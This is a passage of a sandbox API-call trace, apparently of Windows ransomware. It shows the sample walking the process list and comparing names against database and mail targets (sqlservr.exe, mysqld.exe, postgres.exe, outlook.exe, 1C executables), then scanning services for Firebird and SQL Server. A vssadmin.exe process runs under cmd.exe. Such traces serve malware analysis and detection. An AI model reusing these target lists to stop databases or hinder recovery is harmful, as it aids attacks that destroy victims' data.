hHeap=0x590000, dwFlags=0x0, lpMem=0x432fc18 | out: hHeap=0x590000) returned 1 [0222.136] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0222.141] Process32FirstW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.142] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.143] lstrlenW (lpString="System") returned 6 [0222.143] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0222.143] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0222.143] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0222.143] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0222.143] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0222.143] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0222.143] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0222.143] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.144] lstrlenW (lpString="smss.exe") returned 8 [0222.144] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0222.144] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0222.144] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0222.144] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0222.144] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0222.144] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0222.144] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0222.144] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.145] lstrlenW (lpString="csrss.exe") returned 9 [0222.145] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0222.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0222.146] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0222.146] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0222.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0222.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0222.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0222.146] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.147] lstrlenW (lpString="wininit.exe") returned 11 [0222.147] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0222.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0222.147] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0222.147] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0222.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0222.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0222.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0222.148] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.148] lstrlenW (lpString="csrss.exe") returned 9 [0222.148] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0222.148] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0222.148] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0222.149] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0222.149] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0222.149] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0222.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0222.149] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.150] lstrlenW (lpString="winlogon.exe") returned 12 [0222.150] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0222.150] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0222.150] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0222.150] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0222.150] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0222.150] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0222.150] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0222.151] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.151] lstrlenW (lpString="services.exe") returned 12 [0222.151] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0222.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0222.152] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0222.152] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0222.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0222.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0222.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0222.152] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.153] lstrlenW (lpString="lsass.exe") returned 9 [0222.153] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0222.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0222.153] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0222.153] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0222.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0222.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0222.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0222.154] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0222.155] lstrlenW (lpString="lsm.exe") returned 7 [0222.155] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0222.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0222.155] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0222.155] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0222.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0222.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0222.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0222.155] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.156] lstrlenW (lpString="svchost.exe") returned 11 [0222.156] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0222.156] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0222.156] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0222.157] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0222.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0222.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0222.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0222.157] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.158] lstrlenW (lpString="svchost.exe") returned 11 [0222.158] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0222.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0222.158] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0222.158] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0222.158] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0222.158] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0222.158] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0222.158] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.159] lstrlenW (lpString="svchost.exe") returned 11 [0222.160] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0222.160] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0222.160] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0222.160] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0222.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0222.160] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0222.160] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0222.160] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.161] lstrlenW (lpString="svchost.exe") returned 11 [0222.161] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0222.161] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0222.161] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0222.161] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0222.161] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0222.161] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0222.161] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0222.161] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.162] lstrlenW (lpString="svchost.exe") returned 11 [0222.162] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0222.163] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0222.163] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0222.163] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0222.163] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0222.163] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0222.163] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0222.163] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.164] lstrlenW (lpString="audiodg.exe") returned 11 [0222.164] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0222.164] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0222.164] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0222.164] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0222.164] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0222.164] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0222.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0222.165] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.166] lstrlenW (lpString="svchost.exe") returned 11 [0222.166] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0222.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0222.166] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0222.166] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0222.166] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0222.166] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0222.166] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0222.166] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0222.167] lstrlenW (lpString="userinit.exe") returned 12 [0222.167] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0222.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0222.167] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0222.167] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0222.168] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0222.168] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0222.168] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0222.168] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.476] lstrlenW (lpString="explorer.exe") returned 12 [0222.485] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.491] lstrlenW (lpString="dwm.exe") returned 7 [0222.491] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.492] lstrlenW (lpString="svchost.exe") returned 11 [0222.492] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0222.492] lstrlenW (lpString="winhost.exe") returned 11 [0222.493] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.493] lstrlenW (lpString="spoolsv.exe") returned 11 [0222.493] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0222.494] lstrlenW (lpString="dllhost.exe") returned 11 [0222.494] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.495] lstrlenW (lpString="svchost.exe") returned 11 [0222.495] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.496] lstrlenW (lpString="taskhost.exe") returned 12 [0222.496] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0222.497] lstrlenW (lpString="cmd.exe") returned 7 [0222.498] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0222.498] lstrlenW (lpString="reader_sl.exe") returned 13 [0222.498] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.499] lstrlenW (lpString="conhost.exe") returned 11 [0222.499] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0222.500] lstrlenW (lpString="vssadmin.exe") returned 12 [0222.500] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0222.502] CloseHandle (hObject=0x320) returned 1 [0222.502] Sleep (dwMilliseconds=0x1f4) [0223.226] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e3b0 [0223.401] EnumServicesStatusExW (in: hSCManager=0x62e3b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0223.410] GetLastError () returned 0xea [0223.410] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xacc) returned 0x432a868 [0223.410] EnumServicesStatusExW (in: hSCManager=0x62e3b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xacc, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0223.412] CloseServiceHandle (hSCObject=0x62e3b0) returned 1 [0223.414] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0223.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.416] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0223.416] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0223.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0223.416] lstrlenW (lpString="AudioSrv") returned 8 [0223.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0223.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0223.416] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0223.416] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0223.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0223.416] lstrlenW (lpString="BFE") returned 3 [0223.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0223.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0223.417] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0223.417] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0223.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0223.417] lstrlenW (lpString="CscService") returned 10 [0223.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0223.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0223.881] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0223.881] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0223.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0223.881] lstrlenW (lpString="DcomLaunch") returned 10 [0223.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.881] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0223.881] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0223.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0223.882] lstrlenW (lpString="Dhcp") returned 4 [0223.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0223.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0223.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0223.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0223.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0223.882] lstrlenW (lpString="Dnscache") returned 8 [0223.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0223.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0223.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0223.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0223.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0223.882] lstrlenW (lpString="eventlog") returned 8 [0223.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0223.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0223.883] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0223.883] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0223.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0223.883] lstrlenW (lpString="EventSystem") returned 11 [0223.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0223.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0223.883] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0223.883] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0223.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0223.883] lstrlenW (lpString="gpsvc") returned 5 [0223.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0223.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0223.884] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0223.884] 